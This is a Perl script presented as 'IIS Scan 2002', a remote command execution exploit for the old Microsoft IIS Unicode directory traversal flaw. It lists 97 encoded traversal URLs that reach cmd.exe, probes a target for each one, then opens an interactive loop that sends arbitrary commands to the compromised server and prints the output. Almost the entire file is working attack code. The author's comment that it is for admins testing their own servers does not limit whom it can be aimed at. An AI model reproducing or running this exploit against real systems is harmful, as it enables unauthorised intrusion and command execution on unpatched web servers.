#!/usr/bin/perl -w # # IIS Scan 2002 By Thomas O'Connor edited version of Unicode Shell By B-Root. # IIS unicode strings to exploit IIS web servers. # First tries to get IIS Server string. # Scans for usable Unicode URL in many different ways. # Then allows choice of which URL to use including an URL of # your own design eg. After copying cmd.exe to /scripts. # Commands are executed via your choice of URL on the target # server. # URL can be changed at anytime by typing URL. # The Webserver can be re-SCANed at anytime by typing SCAN. # Program can be QUIT at anytime by typing QUIT. # HELP shows this. # Have Fun Tom ( Vline of irc.dal.net #theboxnetwork ). use strict; use IO::Socket; # Globals Go Here. my $host; # Host being probed. my $port; # Webserver port. my $command; # Command to issue. my $url; # URL being used. my @results; # Results from server. my $probe; # Whether to display output. my @U; # Unicode URLS. # URLS - Feel free to add here I did ;) tom. # $U[0] always used for custom URL. $U[1] = "/scripts/..%c0%af../winnt/system32/cmd.exe?/c+"; $U[2] = "/scripts..%c1%9c../winnt/system32/cmd.exe?/c+"; $U[3] = "/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+"; $U[4] = "/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+"; $U[5] = "/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+"; $U[6] = "/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+"; $U[7] = "/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+"; $U[8] = "/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+"; $U[9] = "/scripts/..%c1%af../winnt/system32/cmd.exe?/c+"; $U[10] = "/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+"; $U[11] = "/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+"; $U[12] = "/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+"; $U[13] = "/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+"; $U[14] = "/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c\+"; $U[15] = "/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+"; $U[16] = "/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+"; $U[17] = "/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+"; $U[18] = "/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+"; $U[19] = "/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+"; $U[20] = "/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+"; $U[21] = "/MSADC/root.exe?/c+dir"; $U[22] = "/PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir"; $U[23] = "/PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir"; $U[24] = "/PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir"; $U[25] = "/PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir"; $U[26] = "/Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir"; $U[27] = "/Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir"; $U[28] = "/Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir"; $U[29] = "/Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir"; $U[30] = "/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir"; $U[31] = "/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir"; $U[32] = "/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir"; $U[33] = "/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir"; $U[34] = "/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir"; $U[35] = "/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir"; $U[36] = "/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir"; $U[37] = "/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir"; $U[38] = "/_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir"; $U[39] = "/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir"; $U[40] = "/adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir"; $U[41] = "/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir"; $U[42] = "/c/winnt/system32/cmd.exe?/c+dir"; $U[43] = "/cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir"; $U[44] = "/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir"; $U[45] = "/d/winnt/system32/cmd.exe?/c+dir"; $U[46] = "/iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir"; $U[47] = "/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir"; $U[48] = "/msaDC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir"; $U[49] = "/msaDC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir"; $U[50] = "/msaDC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir"; $U[51] = "/msaDC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir"; $U[52] = "/msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir"; $U[53] = "/msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir"; $U[54] = "/msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir"; $U[55] = "/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir"; $U[56] = "/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir"; $U[57] = "/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir"; $U[58] = "/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir"; $U[59] = "/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir"; $U[60] = "/msadc/..%c1%af../winnt/system32/cmd.exe?/c+dir"; $U[61] = "/msadc/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir"; $U[62] = "/msadc/..%c1%pc../winnt/system32/cmd.exe?/c+dir"; $U[63] = "/msadc/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir"; $U[64] = "/msadc/..%e0%80%af../winnt/system32/cmd.exe?/c+dir"; $U[65] = "/msadc/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir"; $U[66] = "/msadc/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir"; $U[67] = "/msadc/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir"; $U[68] = "/msadc/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir"; $U[69] = "/msadc/..\ HTTP/1.1%e0\ HTTP/1.1%80\ HTTP/1.1%af../..\ HTTP/1.1%e0\ HTTP/1.1%80\ HTTP/1.1%af../..\ HTTP/1.1%e0\HTTP/1.1%80\ HTTP/1.1%af../winnt/system32/cmd.exe\ HTTP/1.1?/c\ HTTP/1.1+dir"; $U[70] = "/samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir"; $U[71] = "/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir"; $U[72] = "/scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir"; $U[73] = "/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir"; $U[74] = "/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir"; $U[75] = "/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir"; $U[76] = "/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir"; $U[77] = "/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir"; $U[78] = "/scripts/..%252f../winnt/system32/cmd.exe?/c+dir"; $U[79] = "/scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir"; $U[80] = "/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir"; $U[81] = "/scripts/..%255c../winnt/system32/cmd.exe?/c+dir"; $U[82] = "/scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir"; $U[83] = "/scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir"; $U[84] = "/scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir"; $U[85] = "/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir"; $U[86] = "/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir"; $U[87] = "/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir"; $U[88] = "/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"; $U[89] = "/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir"; $U[90] = "/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir"; $U[91] = "/scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir"; $U[92] = "/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir"; $U[93] = "/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir"; $U[94] = "/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir"; $U[95] = "/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir"; $U[96] = "/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir"; $U[97] = "/scripts/root.exe?/c+dir/msadc/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir"; # SUBROUTINES GO HERE. &intro; &scan; &choose; &command; &exit; # Play safe with this . sub intro { &help; &host; &server; sleep 3; }; # host subroutine. sub host { print "\nHost : "; $host=; chomp $host; if ($host eq ""){$host="localhost"}; print "\nPort : "; $port=; chomp $port; if ($port =~/\D/ ){$port="80"}; if ($port eq "" ) {$port = "80"}; }; # end host subroutine. # Server string subroutine. sub server { my $X; print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"; print "\nChecking if the server is IIS ..."; $probe = "string"; my $output; my $webserver = "something"; &connect; for ($X=0; $X<=10; $X++){ $output = $results[$X]; if (defined $output){ if ($output =~/IIS/){ $webserver = "iis" }; }; }; if ($webserver ne "iis"){ print "\a\a\n\nWARNING : I DONT THINK THE SERVER IS IIS."; print "\nThis Server may not be running Micro\$oft IIS WebServer"; print "\nand therefore may not be exploitable using the"; print "\nUnicode Bug."; print "\n\n\nDo You Wish To Cont ... [Y/N]"; my $choice = ; chomp $choice; if ($choice =~/N/i) {&exit}; }else{ print "\n\nOK ... It Seems To Be IIS."; }; }; # end server subroutine. # scan subroutine. sub scan { my $status = "not_vulnerable"; print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"; print "\nScanning Webserver $host on port $port ..."; my $loop; my $output; my $flag; $command="dir"; for ($loop=1; $loop < @U; $loop++) { $flag = "0"; $url = $U[$loop]; $probe = "scan"; &connect; foreach $output (@results){ if ($output =~ /Directory/) { $flag = "1"; $status = "vulnerable"; }; }; if ($flag eq "0") { print "\n$host is not vulnerable to Unicode URL Number $loop."; }else{ print "\a\a\a\n$host IS VULNERABLE TO UNICODE URL NUMBER $loop !!!"; }; }; if ($status eq "not_vulnerable"){ print "\n\nSORRY $host is NOT Vulnerable to the UNICODE Exploit."; &exit; }; }; # end scan subroutine. # choose URL subroutine. sub choose { print "\nURL To Use [0 = Other]: "; my $choice=; chomp $choice; if ($choice > @U){ &choose }; if ($choice =~/\D/g ){ &choose }; if ($choice == 0){ &other }; $url = $U[$choice]; print "\nURL: HTTP://$host$url"; }; # end choose URL subroutine. # Other URL subroutine. sub other { print "\nURL [minus command] eg: HTTP://$host\/scripts\/cmd.exe?\/+"; print "\nHTTP://$host"; my $other = ; chomp $other; $U[0] = $other; }; # end other subroutine. # Command subroutine. sub command { while ($command !~/quit/i) { print "\nHELP QUIT URL SCAN Or Command eg dir C: "; print "\nCommand :"; $command = ; chomp $command; if ($command =~/quit/i) { &exit }; if ($command =~/url/i) { &choose }; if ($command =~/scan/i) { &scan }; if ($command =~/help/i) { &help }; $command =~ s/\s/+/g; # remove white space. print "HTTP://$host$url$command"; $probe = "command"; if ($command !~/quit|url|scan|help/) {&connect}; }; &exit; }; # end command subroutine. # Connect subroutine. sub connect { my $connection = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port", ) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n"; $connection -> autoflush(1); if ($probe =~/command|scan/){ print $connection "GET $url$command HTTP/1.0\r\n\r\n"; }elsif ($probe =~/string/) { print $connection "HEAD / HTTP/1.0\r\n\r\n"; }; while ( <$connection> ) { @results = <$connection>; }; close $connection; if ($probe eq "command"){ &output }; if ($probe eq "string"){ &output }; }; # end connect subroutine. # output subroutine. sub output{ print "\nOUTPUT FROM $host. \n\n"; my $display; # if probe is a for server string display only first 10 lines. if ($probe eq "string") { my $X; for ($X=0; $X<=10; $X++) { $display = $results[$X]; if (defined $display){print "$display";}; sleep 1; }; # else print all server output to the screen. }else{ foreach $display (@results){ print "$display"; sleep 1; }; }; }; # end output subroutine. # exit subroutine. sub exit{ print "\n\n\nYou should be happy i made this for testing so your server is secure#."; print "\nCya!"; print "\n\n\n"; exit; }; # Help subroutine. sub help { print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"; print "\n IIS Scan 2002 by Thomas O'Connor."; print "\n www.thomasoconnor.net"; print "\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"; print "\n A Unicode HTTP exploit for IIS WebServers."; print "\n"; print "\n First checks if the server is IIS."; print "\n Scans for usable Unicode URL in 97 different ways."; print "\n Then allows choice of which URL to use including an URL of"; print "\n your own design eg. After copying cmd.exe to /scripts."; print "\n Commands are executed via your choice of URL on the target"; print "\n server."; print "\n "; print "\n URL can be changed at anytime by typing URL."; print "\n The Webserver can be re-SCANed at anytime by typing SCAN."; print "\n Program can be QUIT at anytime by typing QUIT."; print "\n HELP prints this ... "; print "\n Have Fun Tom ( Vline of irc.dal.net #theboxnetwork ). !"; print "\n\n\n"; }; # end help subroutine. # Thomas O'Connors first public production #theboxnetwork irc.dal.net . # I piced this together for admins to test their own IIS servers with a mass number of iis strings. # IIS Scan 2002 edited version of Unicode Shell by Thomas O'Connor [[Vline of Dalnet] http://www.thomasoconnor.tk webmaster@mail.ie #theboxnetwork irc.dal.net. # Once again Thanks to B-Root for his code I really just updated the iis strings.